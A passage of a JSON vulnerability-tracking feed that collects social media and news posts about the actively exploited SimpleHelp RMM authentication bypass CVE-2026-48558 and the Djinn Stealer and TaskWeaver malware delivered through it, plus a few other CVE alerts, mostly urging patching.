"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mpi3f7zmtf25", "content": "\ud83d\udea8 CRITICAL RMM ALERT: CISA has added CVE-2026-48558 (SimpleHelp Admin Bypass) to the KEV matrix. Attackers are forging tokens to hijack environments. Lock down your perimeter. Full T-SUITE forensic detection logs, n8n playbooks, and mitigation scripts are live: https://thecybermind.co/jily", "creation_timestamp": "2026-06-30T03:40:35.334227Z"}, {"uuid": "b68778b2-c343-4139-bb0d-6019f753a526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mpi4iktyfp23", "content": "SimpleHelp CVE-2026-48558 enables authentication bypass used to deliver Djinn stealer and harvest cloud/AI credentials. Patch immediately and au\u2026 #Cybersecurity #Vulnerability #IdentitySecurity\n\nSource: https://www.darkreading.com/cyberattacks-data-breaches/djinn-stealer-targets-cloud-ai-credentials", "creation_timestamp": "2026-06-30T04:00:20.860502Z"}, {"uuid": "073efafe-6b8d-451e-8eee-c207f7dd7e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mpicvwpyr324", "content": "\ud83d\udea8 EXECUTIVE ALERT: CISA has added CVE-2026-48558 (SimpleHelp Bypass) to the KEV matrix. This is a critical governance emergency exposing entire client supply chains to hijacking. Protect your enterprise assets now. Full C-SUITE risk management directives are live: https://thecybermind.co/jily", "creation_timestamp": "2026-06-30T05:55:13.206898Z"}, {"uuid": "b57bcba7-1596-4268-b168-353c86474348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mpimrmyarv2m", "content": "CVE-2026-48558 lets attackers forge OIDC identity tokens to gain fully authenticated technician sessions in SimpleHelp RMM, enabling file transfer, command execution, and malware deployment.\n", "creation_timestamp": "2026-06-30T08:51:45.401985Z"}, {"uuid": "109343a0-b3c4-4cc4-8691-11ce3d5e5fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mpimvj4laz26", "content": "SimpleHelp \u306e\u6df1\u523b\u306a\u8106\u5f31\u6027\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u914d\u5e03\u306b\u60aa\u7528\n\nSimpleHelp \u306e\u30ea\u30e2\u30fc\u30c8\u76e3\u8996\u30fb\u7ba1\u7406\uff08RMM\uff09\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u5b58\u5728\u3059\u308b\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027\u304c\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u914d\u5e03\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002 CVE-2026-48558\uff08CVSS\u30b9\u30b3\u30a2\uff1a10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001SimpleHelp \u306e OpenID Connect\uff08OIDC\uff09\u8a8d\u8a3c\u30d5\u30ed\u30fc...", "creation_timestamp": "2026-06-30T08:53:54.863636Z"}, {"uuid": "370dd32b-c743-4a9d-b830-538e17234bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48048", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msqla5euj52a", "content": "\ud83d\udfe0 CVE-2026-48048 - High (7.5)\n\nXWiki Platform is a generic wiki platform. XWiki discovered that the patch for GHSA-5cf8-vrr8-8hj...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48048/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-10T17:00:57.433646Z"}, {"uuid": "35730671-19b0-4ddd-920d-c24f4e47aa06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mpismwpdzy22", "content": "SimpleHelp\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u305f\u5f37\u529b\u306aDjinn Stealer\u306e\u914d\u5e03\uff08CVE-2026-48558\uff09\n\n\u653b\u6483\u8005\u306f\u3001SimpleHelp RMM\u306e\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u8106\u5f31\u6027CVE-2026-48558\uff08\u6700\u8fd1\u30d1\u30c3\u30c1\u304c\u516c\u958b\uff09\u3092\u60aa\u7528\u3057\u3001\u65b0\u578b\u30de\u30eb\u30a6\u30a7\u30a2\u300cDjinn Stealer\u300d\u3092\u88ab\u5bb3\u8005\u306e\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30fc\u306b\u5c55\u958b\u3057\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306fWindows\u3001macOS\u3001Linux\u30b7\u30b9\u30c6\u30e0\u3092\u6a19\u7684\u3068\u3057\u3001\u300c\u30af\u30e9\u30a6\u30c9\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9...", "creation_timestamp": "2026-06-30T10:36:29.393151Z"}, {"uuid": "035033c8-70f3-453d-9b80-0a5b9d0b6737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mpisrxrre224", "content": "SimpleHelp vulnerability exploited to deliver mighty Djinn Stealer (CVE-2026-48558)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/30/s...\n\n#cybersecurity #cybersecuritynews #credentials #datatheft #malware #MSP #remotemanagement #vulnerability @horizon3ai.bsky.social", "creation_timestamp": "2026-06-30T10:39:21.078167Z"}, {"uuid": "ad2aa3c5-8656-4dfd-aec6-24fd51c96e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mpitsx2rwv2b", "content": "\ud83d\udd34 EXPLOITED\n\nMax severity, and it is already being exploited.\n\nA forged login key unlocks SimpleHelp remote-support servers with no password, then drops a stealer that hunts cloud and AI developer keys.\n\nRun SimpleHelp? Patch to 5.5.16 / 6.0 RC2 now. (CVE-2026-48558)", "creation_timestamp": "2026-06-30T10:57:45.354853Z"}, {"uuid": "a7362f14-ee83-43aa-8113-0acb552a20ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mpiwetmwau2s", "content": "An unauthenticated attacker exploited CVE-2026-48558 in SimpleHelp to gain technician access and deploy TaskWeaver and Djinn Stealer malware.\n", "creation_timestamp": "2026-06-30T11:43:33.091328Z"}, {"uuid": "6dc072ce-16e5-4e7e-b397-c8184935dc50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpiwt3yw4k2z", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer", "creation_timestamp": "2026-06-30T11:51:31.863457Z"}, {"uuid": "3f079213-0fcd-4ebf-a335-7b80424484d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mpixcvzndx2t", "content": "Critical SimpleHelp flaw CVE-2026-48558 lets attackers bypass auth, forge technician sessions, and deliver TaskWeaver and Djinn Stealer via exposed servers. #SimpleHelp #TaskWeaver #DjinnStealer", "creation_timestamp": "2026-06-30T12:00:22.225232Z"}, {"uuid": "a2c50e73-e3d7-43e0-bc12-204523543aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mpixeyzsma2f", "content": "SimpleHelp CVE-2026-48558 \u306e\u60aa\u7528\u3067 TaskWeaver \u3068 Djinn Stealer \u3092\u914d\u5e03\n\n\u653b\u6483\u8005\u304c SimpleHelp CVE-2026-48558 \u3092\u60aa\u7528\u3057\u3001TaskWeaver \u3068 Djinn Stealer \u3092\u914d\u5e03\u3002\u30af\u30e9\u30a6\u30c9\u3001\u30b3\u30fc\u30c9\u3001AI\u3001\u30a6\u30a9\u30ec\u30c3\u30c8\u30c4\u30fc\u30eb\u306e\u8a8d\u8a3c\u60c5\u5831\u3092\u72d9\u3063\u305f\u6a19\u7684\u578b\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\n#CVE #\u8106\u5f31\u6027 #\u30de\u30eb\u30a6\u30a7\u30a2", "creation_timestamp": "2026-06-30T12:01:32.817107Z"}, {"uuid": "ea3c0a36-5941-42fd-ba91-d74ae0ebecac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpixqm72es27", "content": "Today\u2019s #CTI Brief for 2026-06-30: \n\nSimpleHelp CVE-2026-48558 is now in CISA KEV with a July 2 due date. In vulnerable OIDC configs, forged identity-token claims can become a technician session in an RMM tool.\n\n#Cybersecurity #ThreatIntel #CISA", "creation_timestamp": "2026-06-30T12:08:03.797220Z"}, {"uuid": "8a6e622b-6f80-46a8-b7dd-0dfc190d9fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpixqm7f4k27", "content": "Today\u2019s #CTI Brief for 2026-06-30: \n\nSimpleHelp CVE-2026-48558 is now in CISA KEV with a July 2 due date. In vulnerable OIDC configs, forged identity-token claims can become a technician session in an RMM tool.\n\n#Cybersecurity #ThreatIntel #CISA", "creation_timestamp": "2026-06-30T12:08:04.674486Z"}, {"uuid": "d1832f9b-c2b1-4e46-98f9-99104792e63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpixqm7g3s27", "content": "Today\u2019s #CTI Brief for 2026-06-30: \n\nSimpleHelp CVE-2026-48558 is now in CISA KEV with a July 2 due date. In vulnerable OIDC configs, forged identity-token claims can become a technician session in an RMM tool.\n\n#Cybersecurity #ThreatIntel #CISA", "creation_timestamp": "2026-06-30T12:08:05.868663Z"}, {"uuid": "44a7089c-3afb-40e8-856f-0b3c7308045c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mpixxczjeq26", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer", "creation_timestamp": "2026-06-30T12:11:47.790730Z"}, {"uuid": "956389d6-8a8d-47ad-b0eb-4c635e2daeff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpixqm7g3t27", "content": "Today\u2019s #CTI Brief for 2026-06-30: \n\nSimpleHelp CVE-2026-48558 is now in CISA KEV with a July 2 due date. In vulnerable OIDC configs, forged identity-token claims can become a technician session in an RMM tool.\n\n#Cybersecurity #ThreatIntel #CISA", "creation_timestamp": "2026-06-30T12:08:06.716473Z"}, {"uuid": "704ab9ac-9aac-401e-97ae-7b00ad35ca2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/it4intserver.bsky.social/post/3mpizrjvvyr2k", "content": "iT4iNT SERVER Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer VDS VPS Cloud #CyberSecurity #Malware #DataBreach #InformationSecurity #CVE202648558", "creation_timestamp": "2026-06-30T12:44:20.766571Z"}, {"uuid": "eb2e8da8-5ac7-4fe9-9de7-15aa1d56e26d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116839121132129488", "content": "Attackers are exploiting the CVE-2026-48558 authentication bypass vulnerability in SimpleHelp RMM to deploy Djinn Stealer, a sophisticated malware targeting sensitive data across Windows, macOS, and Linux systems. This credential-harvesting campaign leverages trusted support sessions to steal information from cloud platforms, development tools, and cryptocurrency wallets.https://www.helpnetsecurity.com/2026/06/30/simplehelp-vulnerability-exploited-cve-2026-48558/", "creation_timestamp": "2026-06-30T12:45:10.308790Z"}, {"uuid": "451cf7e4-5dc5-4536-abb9-2bcb52208849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3mpizzetwg22i", "content": "SimpleHelp-Sicherheitsl\u00fccke CVE-2026-48558: Authentifizierung l\u00e4sst sich ohne g\u00fcltige Zugangsdaten umgehen\n\nwww.all-about-security.de/simplehelp-s...", "creation_timestamp": "2026-06-30T12:48:45.734575Z"}, {"uuid": "671eb1c0-9619-4093-8d85-1adc67fd8921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mpj2agig3c2s", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer\n\nthehackernews.com/2026/06/atta...\n\n#Cybersecurity #ThreatIntel #Vulnerability", "creation_timestamp": "2026-06-30T12:52:41.756974Z"}, {"uuid": "54a12805-fcfa-418f-95cd-46e7cbba04c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mpj2dhmvr22a", "content": "Critical SimpleHelp flaw exploited to deploy new stealer malware\n\nHackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and L\u2026\n#hackernews #news", "creation_timestamp": "2026-06-30T12:54:22.235068Z"}, {"uuid": "5131d866-1413-4913-a61a-2714f35f2908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpj2kwwdlq2l", "content": "\ud83e\udd16 CVE-2026-48558 (CVSS 10.0): Critical auth bypass in SimpleHelp OIDC flow exploited in the wild. Attackers deploy TaskWeaver C2 backdoor + Djinn Stealer info-stealer.\nhttps://thehackernews.com/2026/06/attackers-exploit-simplehelp-cve-2026.html", "creation_timestamp": "2026-06-30T12:58:32.672548Z"}, {"uuid": "3776aefd-1c0b-470a-aabc-f31b6a27e9b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpj3652vvv2g", "content": "iT4iNT SERVER Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer VDS VPS Clown #PotatoSecurity #Malware #DataBreach #InformationSecurity #CVE202648558", "creation_timestamp": "2026-06-30T13:09:16.587730Z"}, {"uuid": "d96282e7-58b8-4486-b1a3-d12213df46a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mpj36fl5ls23", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer reconbee.com/attackers-ex...\n\n#cyberattack #TaskWeaver #Djinnstealer #cybersecurity #SimpleHelp", "creation_timestamp": "2026-06-30T13:09:29.910705Z"}, {"uuid": "5e5c686a-5c57-49f7-b135-bd14ad6cd169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mpj3j5ihpo24", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-06-30T13:15:26.564109Z"}, {"uuid": "58b620ba-8ca2-478a-9677-a031d36f2286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mpj3ljgraz25", "content": "SimpleHelp CVE-2026-48558 Actively Exploited \u2014 CVSS 10 Flaw Drops Stealer Malware\n\nhttps://blindthoughts.com/simplehelp-cve-2026-48558-active-exploitation-stealer-malware\n\n#vulnerability #remotesupport #malware #incidentresponse #mspsecurity", "creation_timestamp": "2026-06-30T13:16:45.901879Z"}, {"uuid": "bb446cc9-998c-4d98-aede-19e91a2f0d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mpj44ksl2k2m", "content": "SimpleHelp vulnerability exploited to deliver mighty Djinn Stealer (CVE-2026-48558)\n\nwww.helpnetsecurity.com/2026/06/30/s...\n\n#Kyberturvallisuus #ThreatIntel #Haavoittuvuus", "creation_timestamp": "2026-06-30T13:26:18.989454Z"}, {"uuid": "6ea29b5b-cffa-4f0a-a0de-a9c7d435d72a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpj4qmybvg2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48558 \u0432 SimpleHelp RMM: \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OIDC \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0434\u043b\u044f \u0418\u0422-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b\n\n\n\nhttps://kripta.biz/posts/DF2F4104-A19F-49C4-98D3-2CF5CB6222B2", "creation_timestamp": "2026-06-30T13:37:30.837442Z"}, {"uuid": "020c3dd8-cd60-4845-972d-36cf1a086894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpj4s7yr5e2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48558 \u0432 SimpleHelp: \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u044e\u0442 TaskWeaver \u0438 Djinn Stealer\n\n\n\nhttps://kripta.biz/posts/0B94B83C-28FB-433C-B8F5-AB2630274F1D", "creation_timestamp": "2026-06-30T13:38:24.617314Z"}, {"uuid": "30f768e9-5ef6-4044-91de-552a96b5d328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mpj66t36gw25", "content": "\ud83d\udd12 Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer\n\nAn unknown threat actor has been observed exploiting a recently disclosed maximum-severity secu...\n\nhttps://tinyurl.com/2ddxxlry #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-30T14:03:20.988492Z"}, {"uuid": "8b789ffa-3c52-4b3d-84c0-58836aea4086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/etairos-ai.bsky.social/post/3mpj6bi4va72d", "content": "SimpleHelp CVE-2026-48558 (CVSS 10.0) is under active exploitation to drop the TaskWeaver loader and Djinn Stealer. Edge RMM = a direct route into ICS. Patch now.\n#ThreatIntel #ICS\nhttps://threat-intelligence.redeyesecurity.com/blog/simplehelp-cve-2026-48558-taskweaver-djinn-stealer-2026", "creation_timestamp": "2026-06-30T14:04:50.398021Z"}, {"uuid": "edf49eac-d0a2-46c3-b306-046083e93091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mpj6gx6txs2c", "content": "Attackers are exploiting CVE-2026-48558, an authentication bypass vulnerability in SimpleHelp RMM, to deploy Djinn Stealer malware, which targets various systems and steals sensitive credentials from cloud services, GitHub, package registries, and cryptocurrency wallets. Discovered by Horizon3.", "creation_timestamp": "2026-06-30T14:07:54.012934Z"}, {"uuid": "5b6de4e4-9f31-4193-a340-8d1cf1bf1ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116839842047861446", "content": "This is tracked as CVE-2026-48558.\nBlackpoint, published yesterday: A Djinn in the Machine: TaskWeaver\u2019s Node.js Intrusion Chain https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/\nMore:\nInfosecurity-Magazine:  Critical SimpleHelp Vulnerability Exploited For Malware Delivery https://www.infosecurity-magazine.com/news/simplehelp-rmm-vulnerability/ #infosec #vulnerability #JavaScript #malware", "creation_timestamp": "2026-06-30T15:48:24.420468Z"}, {"uuid": "2521dae8-cdbc-4031-a234-f8588fdc80d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://thehackernews.com/2026/06/attackers-exploit-simplehelp-cve-2026.html", "content": "An unknown threat actor has been observed exploiting a recently disclosed maximum-severity security flaw in SimpleHelp to deliver two previously unreported malware families, TaskWeaver and Djinn Stealer.\n\nThe intrusion involves the exploitation of CVE-2026-48558 (CVSS score: 10.0), a critical authentication bypass vulnerability impacting the OpenID Connect (OIDC) flow that an unauthenticated", "creation_timestamp": "2026-06-30T16:01:05.044355Z"}, {"uuid": "e701c203-2cff-4f16-97bd-6b8f119dd68f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://threatintel.cc/2026/06/30/simplehelp-vulnerability-exploited-to-deliver.html", "content": "SimpleHelp vulnerability exploited to deliver mighty Djinn Stealer (CVE-2026-48558) - Help Net Security\n\nAttackers are exploiting the CVE-2026-48558 authentication bypass vulnerability in SimpleHelp RMM to deploy Djinn Stealer, a sophisticated malware targeting sensitive data across Windows, macOS, and Linux systems. This credential-harvesting campaign leverages trusted support sessions to steal information from cloud platforms, development tools, and cryptocurrency wallets.", "creation_timestamp": "2026-06-30T16:01:05.905358Z"}, {"uuid": "cd5268dc-8afa-48d7-b0a6-b7f90f014652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48315", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpji4gsd5h2y", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48315](https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html)\nColdFusion ...\nhttps://helpx.adobe.com/security/products/coldfusion/apsb26-68.html #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-06-30T17:00:58.132086Z"}, {"uuid": "aa537ac2-7a03-48d1-bcb5-d1baac1071fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpji6wod572y", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48286](https://helpx.adobe.com/security/products/campaign/apsb26-69.html)\nAdobe Campaig...\nhttps://helpx.adobe.com/security/products/campaign/apsb26-69.html #CVE #ZeroDay #PatchManagement", "creation_timestamp": "2026-06-30T17:02:22.159222Z"}, {"uuid": "78a55c5d-f3a0-4892-bc44-41469b834721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116840193802141611", "content": "\ud83d\udcf0 SimpleHelp RMM Flaw Actively Exploited to Deploy Novel Djinn Stealer\n\ud83d\udea8 CRITICAL FLAW: A 10.0 CVSS vulnerability (CVE-2026-48558) in SimpleHelp RMM is actively exploited to deploy new 'Djinn Stealer' malware. CISA adds to KEV catalog. Patch immediately! \u26a0\ufe0f #CyberSecurity #Vulnerability #Ransomware #Infosec\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-djinn-stealer/?utm_source=mastodon&utm_medi\u2026", "creation_timestamp": "2026-06-30T17:17:54.034219Z"}, {"uuid": "57c5a241-52a2-41ca-b650-851b1b766b9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mpjj3cfx2w25", "content": "\ud83d\udea8 CRITICAL FLAW: A 10.0 CVSS vulnerability (CVE-2026-48558) in SimpleHelp RMM is actively exploited to deploy new 'Djinn Stealer' malware. CISA adds to KEV catalog. Patch immediately! \u26a0\ufe0f #CyberSecurity #Vulnerability #Ransomware #Infosec\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-30T17:18:14.389743Z"}, {"uuid": 